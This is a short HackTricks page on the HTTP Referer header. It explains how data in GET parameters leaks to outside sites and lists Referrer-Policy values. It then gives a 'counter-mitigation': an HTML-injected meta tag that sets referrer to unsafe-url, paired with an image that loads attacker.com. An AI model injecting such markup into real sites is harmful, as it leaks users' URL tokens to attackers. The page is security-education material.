hacktricks/interesting-http.md

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# Referrer headers and policy

Referrer is the header used by browsers to indicate which was the previous page visited.

## Sensitive information leaked

If at some point inside a web page any sensitive information is located on a GET request parameters, if the page contains links to external sources or an attacker is able to make/suggest (social engineering) the user visit a URL controlled by the attacker. It could be able to exfiltrate the sensitive information inside the latest GET request.

## Mitigation

You can make the browser follow a **Referrer-policy** that could **avoid** the sensitive information to be sent to other web applications:

```
Referrer-Policy: no-referrer
Referrer-Policy: no-referrer-when-downgrade
Referrer-Policy: origin
Referrer-Policy: origin-when-cross-origin
Referrer-Policy: same-origin
Referrer-Policy: strict-origin
Referrer-Policy: strict-origin-when-cross-origin
Referrer-Policy: unsafe-url
```

## Counter-Mitigation

You can override this rule using an HTML meta tag (the attacker needs to exploit and HTML injection):

```markup
<meta name="referrer" content="unsafe-url">
<img src="https://attacker.com">
```

## Defense

Never put any sensitive data inside GET parameters or paths in the URL.


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- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.

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